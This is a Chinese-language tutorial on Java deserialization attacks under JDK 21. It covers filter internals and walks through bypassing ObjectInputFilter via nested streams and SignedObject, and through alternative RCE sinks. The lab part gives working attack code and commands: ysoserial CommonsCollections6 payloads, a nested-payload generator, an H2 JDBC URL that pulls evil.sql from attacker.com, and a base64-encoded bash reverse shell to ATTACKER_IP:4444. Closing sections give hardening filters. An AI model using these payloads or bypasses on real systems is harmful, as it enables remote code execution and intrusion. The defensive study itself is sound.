JDK 21 反序列化过滤器绕过与 Post-TemplatesImpl 利用链构造
字数 9415
更新时间 2026-05-19 13:28:48

JDK 21 反序列化漏洞利用与防御:绕过过滤机制及 Post-TemplatesImpl 利用链构造详解

1. 引言

在 JDK 21 LTS 版本中,Java 模块系统的强封装机制导致传统的 TemplatesImpl 等经典 RCE Sink 彻底失效。然而,Java 反序列化漏洞的攻击面并未消失,而是向多个新方向迁移,包括 JDBC 连接串注入、外部 Xalan 库利用、JNDI ObjectFactory 滥用等技术路径。本文将深入剖析 JDK 21 反序列化过滤体系的运作原理、绕过技术以及新型利用链的构造方法。

2. 技术背景:ObjectInputFilter 机制

2.1 JEP 290:进程级序列化过滤(JDK 9)

JEP 290 在 java.io.ObjectInputFilter 接口中定义了三个维度的过滤能力:

过滤维度 对应方法 作用
类过滤 serialClass() 按类名模式允许或拒绝特定类的反序列化
资源限制 depth() / references() / streamBytes() 限制对象图深度、引用数量、流字节数
数组限制 arrayLength() 限制反序列化数组的最大长度

过滤器通过返回 Status.ALLOWEDStatus.REJECTEDStatus.UNDECIDED 三态值来决定是否放行。

过滤器设置方式有三种,优先级从高到低:

  1. 通过 ObjectInputStream.setObjectInputFilter() 设置的实例级过滤器
  2. 通过 ObjectInputFilter.Config.setSerialFilter() 设置的 JVM 全局过滤器
  3. 通过系统属性 jdk.serialFilter 设置的全局过滤器

jdk.serialFilter 的模式语法支持通配符:

  • pattern 匹配特定类
  • !pattern 拒绝特定类
  • maxdepth=value 限制对象图深度
  • maxrefs=value 限制引用数量
  • maxbytes=value 限制流字节数
  • maxarray=value 限制数组大小

模式按从左到右顺序匹配,首个匹配项决定结果。未匹配任何模式时返回 UNDECIDED

2.2 JEP 415:上下文相关过滤器工厂(JDK 17)

JEP 290 的局限性在于 JVM 全局过滤器是静态的、一刀切的,对所有 ObjectInputStream 实例施加相同的限制。JEP 415 引入了过滤器工厂(Filter Factory),在每个 ObjectInputStream 构造时动态生成过滤器:

// 设置过滤器工厂
ObjectInputFilter.Config.setSerialFilterFactory((binaryClass, filter) -> {
    // 根据上下文返回合适的过滤器
    if (binaryClass != null) {
        return ObjectInputFilter.Config.createFilter("!javax.management.*");
    }
    return filter;
});

工厂接收两个参数并返回最终生效的过滤器:

  1. binaryClass:当前反序列化对象的类
  2. filter:当前生效的过滤器(可能为 null)

setSerialFilterFactory 在整个 JVM 生命周期内只能调用一次,第二次调用将抛出 IllegalStateException

2.3 过滤器决策流程

完整的过滤器决策流程如下:

  1. 如果设置了实例级过滤器,则使用该过滤器
  2. 否则,如果设置了过滤器工厂,则调用工厂获取过滤器
  3. 否则,如果设置了全局过滤器,则使用全局过滤器
  4. 否则,如果设置了 jdk.serialFilter 系统属性,则使用该过滤器
  5. 否则,返回 UNDECIDED

3. JDK 21 序列化过滤体系的关键变化

3.1 JDK 9 到 JDK 21 过滤能力演进

版本 里程碑事件 安全影响
JDK 9 JEP 290 引入 ObjectInputFilter 首次提供平台级反序列化过滤能力
JDK 16 非法反射访问默认拒绝 setAccessible(true) 跨模块失效
JDK 17 JEP 415 过滤器工厂;--illegal-access 参数移除 TemplatesImpl 等内部类的反射操作被阻断
JDK 17 setObjectInputFilter 限制为只能调用一次 防止运行时过滤器替换攻击
JDK 21 强封装策略不变;模块系统全面稳定 攻击面进一步收窄,但无新增过滤 API

3.2 模块系统对经典 Gadget Chain 的致命影响

JDK 21 延续了 JDK 17 的强封装策略,其核心影响是:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 彻底不可用。

TemplatesImpl 是绝大多数经典 RCE 利用链的终点,它内部持有 _bytecodes 字段,调用 newTransformer()getOutputProperties() 时会加载并执行字节码。在 JDK 21 中:

  1. TemplatesImpl 位于 java.xml 模块的未导出包中
  2. 默认情况下,非 java.xml 模块无法通过反射访问其私有字段和方法
  3. 除非目标应用启动时显式添加了 --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED,否则所有依赖 TemplatesImpl 的利用链全部失效

验证模块封装效果(JDK 21)

编写测试代码 TestModuleAccess.java

import java.lang.reflect.Field;

public class TestModuleAccess {
    public static void main(String[] args) throws Exception {
        // 尝试加载类
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        System.out.println("Class loaded: " + clazz.getName());
        
        // 尝试反射访问私有字段
        Field bytecodesField = clazz.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);  // 这里会抛出异常
    }
}

编译并运行:

javac TestModuleAccess.java
java TestModuleAccess

结果:类可以被加载(Class.forName 成功),但私有字段无法通过反射访问。这就是模块系统"物理隔离"的效果——与 ObjectInputFilter 的"策略过滤"不同,模块封装不依赖配置,无法被应用代码绕过。

4. 绕过路径一:嵌套反序列化流逃逸

4.1 原理分析

ObjectInputFilter 的设计中存在一个架构性盲区:过滤器绑定在 ObjectInputStream 实例上,而非序列化数据流本身。当某个对象的 readObject() 方法内部创建了一个新的 ObjectInputStream 并从嵌套流中反序列化数据时,外层过滤器不会自动传播到内层流。

4.2 JEP 415 能否堵住这个缺口?

理论上可以——如果应用通过 setSerialFilterFactory 注册了过滤器工厂,工厂会在每个 ObjectInputStream 构造时被调用,包括嵌套创建的实例。但实际部署中,很多应用并未配置过滤器工厂,或者工厂实现不完善。

4.3 自定义嵌套流绕过 PoC

使用自定义类 NestingWrapper 作为嵌套载体,需存在于目标 classpath 中才能触发。实战中应使用目标 classpath 上已有的嵌套反序列化类。

NestingWrapper.java —— 嵌套反序列化的载体类:

import java.io.*;
import java.util.Base64;

public class NestingWrapper implements Serializable {
    private static final long serialVersionUID = 1L;
    private byte[] nestedPayload;
    
    public NestingWrapper(byte[] payload) {
        this.nestedPayload = payload;
    }
    
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        // 关键:创建新的 ObjectInputStream,外层过滤器不会传播到这里
        ByteArrayInputStream bais = new ByteArrayInputStream(nestedPayload);
        ObjectInputStream nestedOis = new ObjectInputStream(bais);
        nestedOis.readObject();  // 反序列化嵌套的恶意对象
    }
}

FilterBypassDemo.java —— 验证绕过效果:

import java.io.*;
import java.util.Base64;

public class FilterBypassDemo {
    public static void main(String[] args) throws Exception {
        // 恶意对象:BadAttributeValueExpException(常用于利用链)
        BadAttributeValueExpException evil = new BadAttributeValueExpException(null);
        
        // 序列化恶意对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(evil);
        oos.close();
        byte[] evilBytes = baos.toByteArray();
        
        // 创建嵌套包装器
        NestingWrapper wrapper = new NestingWrapper(evilBytes);
        
        // 序列化包装器
        baos = new ByteArrayOutputStream();
        oos = new ObjectOutputStream(baos);
        oos.writeObject(wrapper);
        oos.close();
        byte[] wrapperBytes = baos.toByteArray();
        
        // 反序列化时设置过滤器,拒绝 javax.management.*
        ByteArrayInputStream bais = new ByteArrayInputStream(wrapperBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.setObjectInputFilter(filterInfo -> {
            if (filterInfo.serialClass() != null && 
                filterInfo.serialClass().getName().startsWith("javax.management.")) {
                return ObjectInputFilter.Status.REJECTED;
            }
            return ObjectInputFilter.Status.UNDECIDED;
        });
        
        try {
            Object obj = ois.readObject();
            System.out.println("Bypass成功!反序列化了: " + obj.getClass().getName());
        } catch (InvalidClassException e) {
            System.out.println("过滤器阻止: " + e.getMessage());
        }
    }
}

编译与执行:

# 编译
javac NestingWrapper.java FilterBypassDemo.java

# 运行
java FilterBypassDemo

外层过滤器明确拒绝了 javax.management.* 下的类,但通过嵌套流成功反序列化了 BadAttributeValueExpException——过滤器被完整绕过。

4.4 为什么过滤器不传播

查看 JDK 21 中 ObjectInputStream 构造函数的关键代码路径:

// ObjectInputStream 构造函数片段
private ObjectInputStream(InputStream in, boolean requireFilter) throws IOException {
    // ...
    if (requireFilter) {
        // 获取过滤器工厂
        ObjectInputFilter filter = ObjectInputFilter.Config.getSerialFilterFactory()
            .apply(serialFilter, null);
        if (filter != null) {
            internalSetObjectInputFilter(filter);
        }
    }
    // ...
}

问题在于:当 NestingWrapper.readObject() 内部执行 new ObjectInputStream(bais) 时,这个新实例的过滤器由工厂决定。默认工厂仅考虑 JVM 全局过滤器,完全不知道外层 OIS 的存在和其过滤策略。

4.5 利用 SignedObject 构造真实嵌套逃逸链

上述 PoC 的局限性在于 NestingWrapper 是自定义类,目标环境中不存在。实战中,需要找到 JDK 或常见框架中本身就执行嵌套反序列化的类。

java.security.SignedObject 是最理想的候选——它是 JDK 原生类,存在于所有 Java 环境中:

SignedObject 嵌套反序列化原理:

  1. SignedObject 用于创建数字签名对象
  2. getObject() 方法会执行反序列化操作
  3. 在内部创建新的 ObjectInputStream 实例
  4. 这个新实例不受外层过滤器影响

攻击链路设计:SignedObject 本身的 readObject() 不会触发 getObject(),需要借助 Getter 调用链来触发:

  1. 将恶意对象序列化后存入 SignedObject.content
  2. 通过 BeanComparatorPOJONode 等触发 getObject() 调用
  3. getObject() 内部创建新 OIS 反序列化 content

SignedObjectBypassDemo.java —— 完整的 SignedObject 嵌套绕过演示:

import java.io.*;
import java.security.*;
import java.util.Base64;

public class SignedObjectBypassDemo {
    public static void main(String[] args) throws Exception {
        // 1. 创建恶意对象
        BadAttributeValueExpException evil = new BadAttributeValueExpException(null);
        
        // 2. 序列化恶意对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(evil);
        oos.close();
        byte[] evilBytes = baos.toByteArray();
        
        // 3. 创建 SignedObject,将恶意对象作为其内容
        // 需要密钥对,但只用于构造对象
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(512);
        KeyPair kp = kpg.generateKeyPair();
        PrivateKey priv = kp.getPrivate();
        
        // 创建 SignedObject,sign 参数可以为 null,因为我们不验证签名
        SignedObject so = new SignedObject(evilBytes, priv, Signature.getInstance("SHA1withDSA"));
        
        // 4. 序列化 SignedObject
        baos = new ByteArrayOutputStream();
        oos = new ObjectOutputStream(baos);
        oos.writeObject(so);
        oos.close();
        byte[] signedObjectBytes = baos.toByteArray();
        
        // 5. 反序列化时设置过滤器
        ByteArrayInputStream bais = new ByteArrayInputStream(signedObjectBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.setObjectInputFilter(filterInfo -> {
            if (filterInfo.serialClass() != null) {
                String className = filterInfo.serialClass().getName();
                // 拒绝 javax.management.*
                if (className.startsWith("javax.management.")) {
                    return ObjectInputFilter.Status.REJECTED;
                }
                // 但允许 java.security.SignedObject
                if (className.equals("java.security.SignedObject")) {
                    return ObjectInputFilter.Status.ALLOWED;
                }
            }
            return ObjectInputFilter.Status.UNDECIDED;
        });
        
        try {
            Object obj = ois.readObject();
            System.out.println("成功反序列化: " + obj.getClass().getName());
            
            // 6. 触发 getObject() 执行嵌套反序列化
            if (obj instanceof SignedObject) {
                SignedObject signedObj = (SignedObject) obj;
                Object innerObj = signedObj.getObject();  // 这里会创建新的 OIS
                System.out.println("嵌套反序列化成功: " + innerObj.getClass().getName());
            }
        } catch (Exception e) {
            System.out.println("失败: " + e.getMessage());
        }
    }
}

编译与运行:

javac SignedObjectBypassDemo.java
java SignedObjectBypassDemo

SignedObject 是 JDK 原生类(java.security 包),在几乎所有过滤策略中都会被放行。它的 getObject() 方法在内部创建了新的 ObjectInputStream,天然构成嵌套反序列化的跳板。

在实际利用中,攻击者将 CC6 等完整利用链序列化后存入 SignedObject.content,再通过 Getter 调用链(如 BeanComparatorPOJONode 等)自动触发 getObject()

5. 绕过路径二:基于白名单类的利用链重构

5.1 黑名单过滤器的本质缺陷

生产环境中最常见的过滤策略是黑名单——列举已知危险类并拒绝:

// 典型的黑名单过滤器
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "!org.apache.commons.collections.functors.*;" +
    "!org.apache.commons.collections4.functors.*;" +
    "!com.sun.org.apache.xalan.internal.*;" +
    "!javax.management.*;" +
    "maxdepth=50;maxrefs=100;maxbytes=1000000"
);

黑名单模式存在根本性缺陷:防御者必须穷举所有危险类,攻击者只需找到一个遗漏。

5.2 利用 URLDNS 探测过滤策略

URLDNS 链仅使用 java.util.HashMapjava.net.URL,这两个类几乎不可能被过滤(否则大量正常业务会崩溃),因此是最可靠的探测手段。

使用 ysoserial 生成探测 Payload:

# 生成 URLDNS 探测 Payload
java -jar ysoserial.jar URLDNS "http://your-dnslog.dnslog.cn" > payload.bin

# Base64 编码便于传输
base64 -i payload.bin -o payload.b64

5.3 利用 GadgetProbe 枚举目标类路径

确认反序列化入口存在后,使用 GadgetProbe 进行类路径探测——判断目标环境中加载了哪些库。GadgetProbe 通过 DNS 回调判断类是否存在于目标 classpath 中。每个类对应一个唯一子域名,存在则触发 DNS 解析,不存在则无回调。

5.4 典型黑名单绕过:CC6 变体

假设目标过滤器拦截了 org.apache.commons.collections.functors.* 包下的所有类(如 InvokerTransformerInstantiateTransformer),但未拦截 org.apache.commons.collections.keyvalue.*org.apache.commons.collections.map.*

利用链调用路径可视化:

HashMap.readObject()
  -> TiedMapEntry.hashCode()
    -> TiedMapEntry.getValue()
      -> LazyMap.get()
        -> ChainedTransformer.transform()
          -> ConstantTransformer.transform() -> Runtime.class
          -> InstantiateTransformer.transform() -> 实例化TrAXFilter
          -> InstantiateTransformer.transform() -> 调用TemplatesImpl.newTransformer()

绕过方案: 使用不在黑名单中的 Transformer 替代 InvokerTransformer,如 ClosureTransformerPredicateTransformer 等。

5.5 黑名单策略的绕过方法论

  1. 白名单探测:通过 URLDNS 等无害链确认反序列化入口
  2. 类路径枚举:使用 GadgetProbe 确定目标环境加载的库版本
  3. 替代链构造:寻找不在黑名单中的替代实现
  4. 组合利用:将多个无害类组合成完整利用链
  5. 外部依赖利用:利用目标 classpath 中的第三方库构造新链

6. Post-TemplatesImpl:Gadget Chain 构造

TemplatesImpl 在 JDK 21 中被模块系统封锁后,攻击者需要寻找新的 RCE Sink。

6.1 路径一:外部 Xalan 库的 TemplatesImpl 替代

Maven Central 上的独立 Xalan-J 库(xalan:xalan)包含自己的 org.apache.xalan.xsltc.trax.TemplatesImpl 实现,该类位于第三方 JAR 中,不受 JDK 模块系统的封装限制。

区分两个 TemplatesImpl:

属性 JDK 内置版本 外部 Xalan-J 版本
全限定名 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.xalan.xsltc.trax.TemplatesImpl
所在模块 java.xml(未导出包) unnamed module(classpath 上的普通 JAR)
JDK 21 反射访问 抛出 InaccessibleObjectException 正常访问
Maven 坐标 JDK 内置 xalan:xalan:2.7.3
使用场景 JDK 内部 XML/XSLT 处理 需要独立 Xalan 功能的应用

改造后的利用链构造(以 CommonsBeanutils1 为例):

  1. 确认目标 classpath 包含 Xalan-J
  2. 修改利用链,将终点替换为外部 TemplatesImpl
  3. 调整字节码加载逻辑以适应外部版本

6.2 路径二:JDBC Connection String 攻击(H2 Database Sink)

当目标 classpath 中存在 H2 Database 驱动时,可通过构造恶意 JDBC URL 实现 RCE——H2 支持通过 INIT 参数执行 SQL,配合 CREATE ALIAS 可加载并执行 Java 代码。

攻击原理流程:

  1. 构造恶意 JDBC URL 包含 INIT 参数
  2. INIT 参数执行 CREATE ALIAS 创建 Java 函数
  3. Java 函数执行系统命令
  4. 通过反序列化链触发数据库连接

恶意 JDBC URL 构造(H2 1.4.200):

jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'

evil.sql 内容:

CREATE ALIAS EXECVE AS 
$$
 String execve(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$
;
CALL EXECVE('calc.exe');

结合 CommonsBeanutils 的利用链:

// 构造恶意连接字符串
String jdbcUrl = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'";

// 通过 BeanComparator 等触发连接
BeanComparator comparator = new BeanComparator("connection");
comparator.compare(jdbcUrl, null);

H2 JDBC URL 使用 \; 作为 SQL 语句内的分号(区别于 URL 参数分隔符 ;)。

6.3 路径三:AspectJWeaver 文件写入 + Cron/计划任务提权

当目标 classpath 包含 aspectjweavercommons-collections4 时,可利用 SimpleCache$StorableCachingMap 实现任意文件写入——不需要 TemplatesImpl,不依赖 JDK 内部类。

利用链路径:

HashSet.readObject()
  -> HashMap.put()
    -> SimpleCache$StorableCachingMap.put()
      -> FileOutputStream.write()  // 写入任意文件

利用文件写入可以实现:

  1. WebShell 写入
  2. Cron 计划任务提权
  3. SSH 公钥写入
  4. 配置文件篡改

7. 从环境搭建到漏洞利用全链路

7.1 实验环境架构

攻击机 (Kali Linux)   靶机 (Ubuntu with JDK 21)
     |                        |
     |--- 1. Payload生成 --->|
     |<-- 2. DNS查询确认 ----|
     |--- 3. 嵌套Payload --->|
     |<-- 4. RCE执行结果 ----|

7.2 环境准备

Step 1: 安装 JDK 21

# Ubuntu/Debian
wget https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d69e91c558476027ac/13/GPL/openjdk-21.0.2_linux-x64_bin.tar.gz
tar -xzf openjdk-21.0.2_linux-x64_bin.tar.gz
sudo mv jdk-21.0.2 /usr/lib/jvm/
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-21.0.2/bin/java 1
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-21.0.2/bin/javac 1

Step 2: 安装 Maven

sudo apt install maven

Step 3: 准备 ysoserial
ysoserial 是反序列化漏洞利用工具:

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

从 JDK 9 开始引入模块化系统,默认限制了内部 API 的访问。ysoserial 需要访问这些内部 API 才能工作,因此通过 --add-opens 参数强制打开这些模块:

# 编译时需要
mvn clean package -DskipTests \
  -D"jvm.args=--add-opens=java.base/java.lang=ALL-UNNAMED \
  --add-opens=java.base/java.util=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED"

# 运行时需要
java --add-opens=java.base/java.lang=ALL-UNNAMED \
     --add-opens=java.base/java.util=ALL-UNNAMED \
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     -jar ysoserial.jar CommonsCollections6 "calc.exe"

--add-opens 参数仅作用于 ysoserial 本身运行的 JVM——让 ysoserial 能够通过反射构造 Payload。这并不影响目标 JDK 21 环境的模块封装。生成的 Payload 发送到目标后,是否能成功利用取决于目标的模块配置。

7.3 搭建靶场

Step 1: 创建 Spring Boot 3 项目 pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
         https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.0</version>
    </parent>
    
    <groupId>com.vuln</groupId>
    <artifactId>deser-lab</artifactId>
    <version>1.0.0</version>
    
    <properties>
        <java.version>21</java.version>
    </properties>
    
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        
        <!-- 漏洞依赖 -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.2</version>
        </dependency>
        
        <!-- 测试用 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>
    
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

Step 2: 编写含漏洞的反序列化端点

DeserLabApplication.java:

package com.vuln.deser;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class DeserLabApplication {
    public static void main(String[] args) {
        SpringApplication.run(DeserLabApplication.class, args);
    }
}

VulnController.java —— 模拟不安全的反序列化端点:

package com.vuln.deser;

import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.Base64;

@RestController
public class VulnController {
    
    // 无过滤端点
    @PostMapping("/deserialize")
    public String deserialize(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data);
            ByteArrayInputStream bais = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(bais);
            Object obj = ois.readObject();
            return "反序列化成功: " + obj.getClass().getName();
        } catch (Exception e) {
            return "反序列化失败: " + e.getMessage();
        }
    }
    
    // 带黑名单过滤的端点
    @PostMapping("/deserialize-filtered")
    public String deserializeWithFilter(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data);
            ByteArrayInputStream bais = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(bais);
            
            // 设置黑名单过滤器
            ois.setObjectInputFilter(filterInfo -> {
                if (filterInfo.serialClass() != null) {
                    String className = filterInfo.serialClass().getName();
                    // 拒绝常见危险类
                    if (className.startsWith("org.apache.commons.collections.functors.") ||
                        className.startsWith("javax.management.") ||
                        className.startsWith("com.sun.org.apache.xalan.")) {
                        return ObjectInputFilter.Status.REJECTED;
                    }
                }
                return ObjectInputFilter.Status.UNDECIDED;
            });
            
            Object obj = ois.readObject();
            return "过滤器放行: " + obj.getClass().getName();
        } catch (Exception e) {
            return "过滤器拦截: " + e.getMessage();
        }
    }
    
    // 嵌套反序列化测试类
    static class NestingWrapper implements Serializable {
        private static final long serialVersionUID = 1L;
        private byte[] nestedPayload;
        
        public NestingWrapper(byte[] payload) {
            this.nestedPayload = payload;
        }
        
        private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
            ois.defaultReadObject();
            // 创建新的 OIS,不继承外层过滤器
            ByteArrayInputStream bais = new ByteArrayInputStream(nestedPayload);
            ObjectInputStream nestedOis = new ObjectInputStream(bais);
            nestedOis.readObject();
        }
    }
}

Step 3: 编译并启动靶场

# 编译
mvn clean package

# 启动
java -jar target/deser-lab-1.0.0.jar

另开终端执行:

curl -X POST http://localhost:8080/deserialize \
  -H "Content-Type: text/plain" \
  -d "dGVzdA=="

Base64 "test" 不是有效的序列化数据,但说明端点可达。

7.4 攻击演示一:URLDNS 探测

生成 URLDNS 探测 Payload:

# 使用 ysoserial
java -jar ysoserial.jar URLDNS "http://your-dnslog.dnslog.cn" > urldns.bin

# Base64 编码
base64 -i urldns.bin -o urldns.b64

发送到无过滤端点:

curl -X POST http://localhost:8080/deserialize \
  -H "Content-Type: text/plain" \
  --data-binary @urldns.b64

检查 dnslog 平台是否收到 DNS 查询。dnslog 平台收到 DNS 查询记录,确认存在反序列化入口。

7.5 攻击演示二:CC6 链攻击无过滤端点

生成 CC6 Payload:

# 执行命令:打开计算器(Windows)
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > cc6.bin

# Linux/Mac
java -jar ysoserial.jar CommonsCollections6 "open -a Calculator" > cc6.bin

发送 Payload:

base64 -i cc6.bin -o cc6.b64
curl -X POST http://localhost:8080/deserialize \
  -H "Content-Type: text/plain" \
  --data-binary @cc6.b64

验证 RCE:计算器应被打开。

7.6 攻击演示三:绕过黑名单过滤器

黑名单端点拦截了 org.apache.commons.collections.functors.**,直接发送 CC6 会被拦截:

curl -X POST http://localhost:8080/deserialize-filtered \
  -H "Content-Type: text/plain" \
  --data-binary @cc6.b64
# 返回:过滤器拦截: rejected: org.apache.commons.collections.functors.ConstantTransformer

绕过方式:利用嵌套流 + CC6 的组合。

靶场中的 com.vuln.deser.NestingWrapper 类模拟了嵌套反序列化行为。该类在黑名单过滤器中未被拦截(黑名单末尾的 * 放行了所有未显式拒绝的类),其 readObject() 会创建新的 ObjectInputStream 反序列化内嵌的字节数组——新的 OIS 不继承外层过滤器。

攻击思路: 将 CC6 的原始序列化字节作为 NestingWrapper.nestedPayload 字段的值,这样外层过滤器只看到 NestingWrapper(放行),内层 CC6 在无过滤的新 OIS 中被反序列化执行。

编写组合 Payload 生成器 NestedBypassGenerator.java:

import java.io.*;
import java.util.Base64;

public class NestedBypassGenerator {
    public static void main(String[] args) throws Exception {
        // 1. 读取原始 CC6 Payload
        File cc6File = new File("cc6.bin");
        byte[] cc6Bytes = new byte[(int) cc6File.length()];
        FileInputStream fis = new FileInputStream(cc6File);
        fis.read(cc6Bytes);
        fis.close();
        
        // 2. 创建 NestingWrapper
        com.vuln.deser.VulnController.NestingWrapper wrapper = 
            new com.vuln.deser.VulnController.NestingWrapper(cc6Bytes);
        
        // 3. 序列化 wrapper
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(wrapper);
        oos.close();
        
        // 4. Base64 编码
        byte[] wrapperBytes = baos.toByteArray();
        String base64 = Base64.getEncoder().encodeToString(wrapperBytes);
        
        // 5. 输出
        System.out.println(base64);
        
        // 保存到文件
        FileOutputStream fos = new FileOutputStream("nested-cc6.b64");
        fos.write(base64.getBytes());
        fos.close();
    }
}

为什么攻击机上也需要编译 NestingWrapper?

Java 序列化协议会将对象的全限定类名(com.vuln.deser.NestingWrapper)和 serialVersionUID 写入序列化流。反序列化时,目标 JVM 根据流中的类名在自身 classpath 中查找对应的类。因此攻击机上编译的 NestingWrapper 必须与靶场的版本包名、类名、serialVersionUID 完全一致,否则会抛出 InvalidClassException

编译一份与靶场相同的 NestingWrapper(直接复制靶场的 NestingWrapper.java 源码)

编译 NestingWrapper:

# 编译靶场代码获取 NestingWrapper.class
cd target/classes
javac -cp . ../../src/main/java/com/vuln/deser/VulnController.java

生成原始 CC6 Payload:

java -jar ysoserial.jar CommonsCollections6 "touch /tmp/rce_success" > cc6.bin

编译 NestedBypassGenerator(需要 NestingWrapper 在 classpath 中):

# 复制 NestingWrapper.class
cp target/classes/com/vuln/deser/VulnController\$NestingWrapper.class .

# 编译
javac -cp ".:target/classes" NestedBypassGenerator.java

生成嵌套 Payload:

java -cp ".:target/classes" NestedBypassGenerator > nested-cc6.b64

发送到黑名单过滤端点:

curl -X POST http://localhost:8080/deserialize-filtered \
  -H "Content-Type: text/plain" \
  --data-binary @nested-cc6.b64

服务器端收到回显:"过滤器放行: com.vuln.deser.VulnController$NestingWrapper"

验证 RCE:

ls -la /tmp/rce_success

攻击流程全景图:

攻击机                                 靶机
  |                                    |
  |---1. 生成CC6 Payload------------->|
  |                                    |
  |---2. 生成NestingWrapper Payload-->|
  |                                    |
  |---3. 发送到/deserialize-filtered-->|
  |                                    |---3.1 外层过滤器检查NestingWrapper (放行)
  |                                    |---3.2 NestingWrapper.readObject()执行
  |                                    |---3.3 创建新的ObjectInputStream
  |                                    |---3.4 新OIS无过滤器,反序列化CC6
  |                                    |---3.5 CC6执行命令
  |                                    |
  |<--4. 响应"过滤器放行"--------------|

7.7 使用 Ncat 接收反弹 Shell

监听端口:

# 攻击机监听
nc -lvnp 4444

Payload 使用 Bash 反弹 Shell:

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

替换到 ysoserial 命令中:

# 将命令Base64编码(避免特殊字符问题)
echo -n "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" | base64
# 输出:YmFzaCAgLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvQVRUQUNLRVJfSVAvNDQ0NCAwPiYxJw==

# 生成Payload
java -jar ysoserial.jar CommonsCollections6 \
  "bash -c {echo,YmFzaCAgLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvQVRUQUNLRVJfSVAvNDQ0NCAwPiYxJw==}|{base64,-d}|{bash,-i}" \
  > reverse-shell.bin

成功反弹 shell。

8. 反序列化安全加固方案

8.1 白名单过滤器的正确实现

// 正确的白名单实现
public class StrictAllowlistFilter implements ObjectInputFilter {
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "java.lang.String",
        "java.util.ArrayList",
        "java.util.HashMap",
        "java.time.LocalDate",
        "com.example.dto.User",  // 只允许业务需要的DTO
        "com.example.dto.Order"
    );
    
    @Override
    public Status checkInput(FilterInfo filterInfo) {
        if (filterInfo.serialClass() == null) {
            return Status.UNDECIDED;
        }
        
        String className = filterInfo.serialClass().getName();
        
        // 白名单检查
        if (ALLOWED_CLASSES.contains(className)) {
            return Status.ALLOWED;
        }
        
        // 拒绝所有其他类
        return Status.REJECTED;
    }
}

// 应用过滤器
ObjectInputStream ois = new ObjectInputStream(bais);
ois.setObjectInputFilter(new StrictAllowlistFilter());

8.2 全局过滤器工厂配置(防止嵌套流绕过)

// 在应用启动时配置一次
ObjectInputFilter.Config.setSerialFilterFactory((serialClass, currentFilter) -> {
    // 创建严格的过滤器
    ObjectInputFilter strictFilter = info -> {
        if (info.serialClass() != null) {
            String className = info.serialClass().getName();
            // 白名单逻辑
            if (className.startsWith("java.") && 
                !className.startsWith("java.rmi.") &&
                !className.startsWith("java.util.logging.")) {
                return Status.ALLOWED;
            }
            // 业务类
            if (className.startsWith("com.yourcompany.")) {
                return Status.ALLOWED;
            }
            return Status.REJECTED;
        }
        return Status.UNDECIDED;
    };
    
    // 合并当前过滤器(如果存在)
    if (currentFilter != null) {
        return ObjectInputFilter.merge(strictFilter, currentFilter);
    }
    return strictFilter;
});

8.3 依赖治理检查

检查项 检查命令 安全操作
